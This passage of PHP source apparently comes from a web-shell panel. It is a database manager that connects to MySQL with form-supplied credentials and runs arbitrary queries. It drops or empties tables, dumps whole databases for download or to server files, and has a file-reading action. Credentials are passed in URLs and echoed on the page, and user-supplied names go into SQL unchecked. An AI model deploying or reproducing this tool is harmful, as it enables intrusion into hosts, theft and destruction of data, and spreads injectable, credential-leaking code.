  601. $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  602. $err = mysql_smarterror();
  603. @mysql_select_db($sql_db,$sql_sock);
  604. if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  605. }
  606. else {$sql_sock = FALSE;}
  607. echo ".: SQL Manager :.<br>";
  608. if (!$sql_sock) {
  609. if (!$sql_server) {echo "NO CONNECTION";}
  610. else {echo "Can't connect! ".$err;}
  611. }
  612. else {
  613. $sqlquicklaunch = array();
  614. $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  615. $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  616. $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  617. $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  618. $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  619. $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  620. echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
  621. if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  622. }
  623. echo "</td></tr><tr>";
  624. if (!$sql_sock) {
  625. echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
  626. echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  627. }
  628. else {
  629. //Start left panel
  630. if (!empty($sql_db)) {
  631. ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
  632. <?php
  633. $result = mysql_list_tables($sql_db);
  634. if (!$result) {echo mysql_smarterror();}
  635. else {
  636. echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  637. $c = 0;
  638. while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  639. if (!$c) {echo "No tables found in database.";}
  640. }
  641. }
  642. else {
  643. ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
  644. <?php
  645. $result = mysql_list_dbs($sql_sock);
  646. if (!$result) {echo mysql_smarterror();}
  647. else {
  648. ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
  649. <?php
  650. $c = 0;
  651. $dbs = "";
  652. while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  653. echo "<option value=\"\">Databases (".$c.")</option>";
  654. echo $dbs;
  655. }
  656. ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
  657. <?php
  658. }
  659. //End left panel
  660. echo "</td><td width=\"100%\">";
  661. //Start center panel
  662. $diplay = TRUE;
  663. if ($sql_db) {
  664. if (!is_numeric($c)) {$c = 0;}
  665. if ($c == 0) {$c = "no";}
  666. echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  667. if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  668. echo "</b></center>";
  669. $acts = array("","dump");
  670. if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  671. elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  672. elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  673. elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  674. elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  675. elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  676. elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  677. elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  678. elseif ($sql_tbl_act == "insert") {
  679. if ($sql_tbl_insert_radio == 1) {
  680. $keys = "";
  681. $akeys = array_keys($sql_tbl_insert);
  682. foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  683. if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  684. $values = "";
  685. $i = 0;
  686. foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  687. if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  688. $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  689. $sql_act = "query";
  690. $sql_tbl_act = "browse";
  691. }
  692. elseif ($sql_tbl_insert_radio == 2) {
  693. $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  694. $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  695. $result = mysql_query($sql_query) or print(mysql_smarterror());
  696. $result = mysql_fetch_array($result, MYSQL_ASSOC);
  697. $sql_act = "query";
  698. $sql_tbl_act = "browse";
  699. }
  700. }
  701. if ($sql_act == "query") {
  702. echo "<hr size=\"1\" noshade>";
  703. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  704. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  705. if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  706. }
  707. if (in_array($sql_act,$acts)) {
  708. ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
  709. <form action="<?php echo $surl; ?>">
  710. <input type="hidden" name="act" value="sql">
  711. <input type="hidden" name="sql_act" value="newtbl">
  712. <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  713. <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  714. <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  715. <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
  716. <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
  717. <input type="text" name="sql_newtbl" size="20">
  718. <input type="submit" value="Create">
  719. </form></td>
  720. <td width="30%" height="1"><b>Dump DB:</b>
  721. <form action="<?php echo $surl; ?>">
  722. <input type="hidden" name="act" value="sql">
  723. <input type="hidden" name="sql_act" value="dump">
  724. <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  725. <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  726. <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  727. <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
  728. <?php
  729. if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  730. if ($sql_act == "newtbl") {
  731. echo "<b>";
  732. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
  733. echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  734. }
  735. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  736. }
  737. elseif ($sql_act == "dump") {
  738. if (empty($submit)) {
  739. $diplay = FALSE;
  740. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  741. echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  742. $v = join (";",$dmptbls);
  743. echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  744. if ($dump_file) {$tmp = $dump_file;}
  745. else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  746. echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  747. echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  748. echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  749. echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  750. echo "</form>";
  751. }
  752. else {
  753. $diplay = TRUE;
  754. $set = array();
  755. $set["sock"] = $sql_sock;
  756. $set["db"] = $sql_db;
  757. $dump_out = "download";
  758. $set["print"] = 0;
  759. $set["nl2br"] = 0;
  760. $set[""] = 0;
  761. $set["file"] = $dump_file;
  762. $set["add_drop"] = TRUE;
  763. $set["onlytabs"] = array();
  764. if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  765. $ret = mysql_dump($set);
  766. if ($sql_dump_download) {
  767. @ob_clean();
  768. header("Content-type: application/octet-stream");
  769. header("Content-length: ".strlen($ret));
  770. header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  771. echo $ret;
  772. exit;
  773. }
  774. elseif ($sql_dump_savetofile) {
  775. $fp = fopen($sql_dump_file,"w");
  776. if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  777. else {
  778. fwrite($fp,$ret);
  779. fclose($fp);
  780. echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  781. }
  782. }
  783. else {echo "<b>Dump: nothing to do!</b>";}
  784. }
  785. }
  786. if ($diplay) {
  787. if (!empty($sql_tbl)) {
  788. if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  789. $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  790. $count_row = mysql_fetch_array($count);
  791. mysql_free_result($count);
  792. $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  793. $tbl_struct_fields = array();
  794. while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  795. if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  796. if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  797. if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  798. if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  799. $perpage = $sql_tbl_le - $sql_tbl_ls;
  800. if (!is_numeric($perpage)) {$perpage = 10;}
  801. $numpages = $count_row[0]/$perpage;
  802. $e = explode(" ",$sql_order);
  803. if (count($e) == 2) {
  804. if ($e[0] == "d") {$asc_desc = "DESC";}
  805. else {$asc_desc = "ASC";}
  806. $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  807. }
  808. else {$v = "";}
  809. $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  810. $result = mysql_query($query) or print(mysql_smarterror());
  811. echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  812. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
  813. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
  814. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
  815. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  816. if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  817. if ($sql_tbl_act == "insert") {
  818. if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  819. if (!empty($sql_tbl_insert_radio)) { } //Not Ready
  820. else {
  821. echo "<br><br><b>Inserting row into table:</b><br>";
  822. if (!empty($sql_tbl_insert_q)) {
  823. $sql_query = "SELECT * FROM `".$sql_tbl."`";
  824. $sql_query .= " WHERE".$sql_tbl_insert_q;
  825. $sql_query .= " LIMIT 1;";
  826. $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  827. $values = mysql_fetch_assoc($result);
  828. mysql_free_result($result);
  829. }
  830. else {$values = array();}
  831. echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  832. foreach ($tbl_struct_fields as $field) {
  833. $name = $field["Field"];
  834. if (empty($sql_tbl_insert_q)) {$v = "";}
  835. echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  836. $i++;
  837. }
  838. echo "</table><br>";
  839. echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  840. if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  841. echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  842. }
  843. }
  844. if ($sql_tbl_act == "browse") {
  845. $sql_tbl_ls = abs($sql_tbl_ls);
  846. $sql_tbl_le = abs($sql_tbl_le);
  847. echo "<hr size=\"1\" noshade>";
  848. echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  849. $b = 0;
  850. for($i=0;$i<$numpages;$i++) {
  851. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  852. echo $i;
  853. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  854. if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  855. else {echo "&nbsp;";}
  856. }
  857. if ($i == 0) {echo "empty";}
  858. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  859. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  860. echo "<tr>";
  861. echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  862. for ($i=0;$i<mysql_num_fields($result);$i++) {
  863. $v = mysql_field_name($result,$i);
  864. if ($e[0] == "a") {$s = "d"; $m = "asc";}
  865. else {$s = "a"; $m = "desc";}
  866. echo "<td>";
  867. if (empty($e[0])) {$e[0] = "a";}
  868. if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  869. else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  870. echo "</td>";
  871. }
  872. echo "<td><font color=\"green\"><b>Action</b></font></td>";
  873. echo "</tr>";
  874. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  875. echo "<tr>";
  876. $w = "";
  877. $i = 0;
  878. foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  879. if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  880. echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  881. $i = 0;
  882. foreach ($row as $k=>$v)
  883. {
  884. $v = htmlspecialchars($v);
  885. if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  886. echo "<td>".$v."</td>";
  887. $i++;
  888. }
  889. echo "<td>";
  890. echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  891. echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  892. echo "</td>";
  893. echo "</tr>";
  894. }
  895. mysql_free_result($result);
  896. echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  897. echo "<option value=\"\">With selected:</option>";
  898. echo "<option value=\"deleterow\">Delete</option>";
  899. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  900. }
  901. }
  902. else {
  903. $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  904. if (!$result) {echo mysql_smarterror();}
  905. else
  906. {
  907. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  908. $i = 0;
  909. $tsize = $trows = 0;
  910. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  911. {
  912. $tsize += $row["Data_length"];
  913. $trows += $row["Rows"];
  914. $size = view_size($row["Data_length"]);
  915. echo "<tr>";
  916. echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  917. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  918. echo "<td>".$row["Rows"]."</td>";
  919. echo "<td>".$row["Type"]."</td>";
  920. echo "<td>".$row["Create_time"]."</td>";
  921. echo "<td>".$row["Update_time"]."</td>";
  922. echo "<td>".$size."</td>";
  923. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  924. echo "</tr>";
  925. $i++;
  926. }
  927. echo "<tr bgcolor=\"000000\">";
  928. echo "<td><center><b>+</b></center></td>";
  929. echo "<td><center><b>".$i." table(s)</b></center></td>";
  930. echo "<td><b>".$trows."</b></td>";
  931. echo "<td>".$row[1]."</td>";
  932. echo "<td>".$row[10]."</td>";
  933. echo "<td>".$row[11]."</td>";
  934. echo "<td><b>".view_size($tsize)."</b></td>";
  935. echo "<td></td>";
  936. echo "</tr>";
  937. echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  938. echo "<option value=\"\">With selected:</option>";
  939. echo "<option value=\"tbldrop\">Drop</option>";
  940. echo "<option value=\"tblempty\">Empty</option>";
  941. echo "<option value=\"tbldump\">Dump</option>";
  942. echo "<option value=\"tblcheck\">Check table</option>";
  943. echo "<option value=\"tbloptimize\">Optimize table</option>";
  944. echo "<option value=\"tblrepair\">Repair table</option>";
  945. echo "<option value=\"tblanalyze\">Analyze table</option>";
  946. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  947. mysql_free_result($result);
  948. }
  949. }
  950. }
  951. }
  952. }
  953. else {
  954. $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  955. if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input 